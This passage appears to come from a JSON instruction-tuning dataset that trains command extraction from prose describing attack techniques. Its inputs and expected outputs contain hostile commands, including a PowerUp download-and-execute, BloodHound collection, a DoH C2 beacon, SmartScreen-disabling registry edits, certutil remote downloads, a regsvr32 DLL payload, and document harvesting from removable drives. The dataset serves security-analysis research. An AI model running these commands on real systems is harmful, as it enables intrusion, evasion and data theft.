    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can capture the recent command history by first installing xclip, then copying the output to clipboard and saving it to a file with this command sequence: apt install xclip -y\nhistory | tail -n 30 | xclip -sel clip\nxclip -o > history.txt; This test utilizes a DLL from https://github.com/gtworek/PSBits/tree/master/SIP and registers it via the command: regsvr32.exe #{dll_payload}",
    "output": "{\"command_list\": [\"apt install xclip -y\\nhistory | tail -n 30 | xclip -sel clip\\nxclip -o > history.txt\\n\", \"regsvr32.exe #{dll_payload}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For each iteration, the script sends randomized DoH queries and displays DNS information in JSON format with this command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }; To simulate an infected host beaconing via DoH queries to a C2 server, use the following command after navigating to the Atomics folder: \nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\", \"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1572\\\\src\\\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the system language, you can check the environment variables by running the following commands: env | grep LANG\nprintenv LANG\nset | grep LANG\n. The 5-character locale result can then be used to determine the language and territory.; Using DISM, the Deployment Image Servicing and Management tool, you can view international configuration details by executing this command in an elevated prompt: dism.exe /online /Get-Intl",
    "output": "{\"command_list\": [\"env | grep LANG\\nprintenv LANG\\nset | grep LANG\\n\", \"dism.exe /online /Get-Intl\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Group policy settings can be modified with the following command:\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force; This technique, employed by various malwares to hijack browser functionality, can be demonstrated by executing the following commands:\n\n# Chromium\n$chromium =  \"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\"\n\n# uBlock Origin Lite to test side-loading\n$extension = \"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\"\n\nSet-Location \"#{working_dir}\"\n\nSet-Variable ProgressPreference SilentlyContinue\nInvoke-WebRequest -URI $chromium -OutFile \"#{working_dir}\\chrome.zip\"\nInvoke-WebRequest -URI $extension -OutFile \"#{working_dir}\\extension.zip\"\n\n\nExpand-Archive chrome.zip -DestinationPath \"#{working_dir}\" -Force\nExpand-Archive extension.zip -Force\n\nStart-Process .\\chrome-win\\chrome.exe --load-extension=\"#{working_dir}\\extension\\\" -PassThru",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name ShellSmartScreenLevel -Force\\n\", \"\\n# Chromium\\n$chromium =  \\\"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\\\"\\n\\n# uBlock Origin Lite to test side-loading\\n$extension = \\\"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\\\"\\n\\nSet-Location \\\"#{working_dir}\\\"\\n\\nSet-Variable ProgressPreference SilentlyContinue\\nInvoke-WebRequest -URI $chromium -OutFile \\\"#{working_dir}\\\\chrome.zip\\\"\\nInvoke-WebRequest -URI $extension -OutFile \\\"#{working_dir}\\\\extension.zip\\\"\\n\\n\\nExpand-Archive chrome.zip -DestinationPath \\\"#{working_dir}\\\" -Force\\nExpand-Archive extension.zip -Force\\n\\nStart-Process .\\\\chrome-win\\\\chrome.exe --load-extension=\\\"#{working_dir}\\\\extension\\\\\\\" -PassThru\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script identifies removable drives and searches for document files with targeted extensions, returning 'No removable media' if none are found, via this command: powershell.exe -c \"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\"; The test will compress files from the $env:USERPROFILE directory into T1560-data-ps.zip using the command: dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}",
    "output": "{\"command_list\": [\"powershell.exe -c \\\"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\\\"\\n\", \"dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a file from the web, you can utilize certutil's URL cache feature with the following command: cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}; Here's how to fetch a remote file using certutil's verifyctl feature, which also accepts /verifyctl: $datePath = \"certutil-$(Get-Date -format yyyy_MM_dd)\"\nNew-Item -Path $datePath -ItemType Directory\nSet-Location $datePath\ncertutil -verifyctl -split -f #{remote_file}\nGet-ChildItem | Where-Object {$_.Name -notlike \"*.txt\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }",
    "output": "{\"command_list\": [\"cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}\\n\", \"$datePath = \\\"certutil-$(Get-Date -format yyyy_MM_dd)\\\"\\nNew-Item -Path $datePath -ItemType Directory\\nSet-Location $datePath\\ncertutil -verifyctl -split -f #{remote_file}\\nGet-ChildItem | Where-Object {$_.Name -notlike \\\"*.txt\\\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For compiling C code across different platforms, you can use these commands: gcc #{input_file} && ./a.out\nclang #{input_file} && ./a.out\n; For compiling a C file across FreeBSD, Linux, or macOS systems, use either of these commands: g++ #{input_file} && ./a.out\nclang++ #{input_file} && ./a.out\n",
    "output": "{\"command_list\": [\"gcc #{input_file} && ./a.out\\nclang #{input_file} && ./a.out\\n\", \"g++ #{input_file} && ./a.out\\nclang++ #{input_file} && ./a.out\\n\"]}"
  },
  {
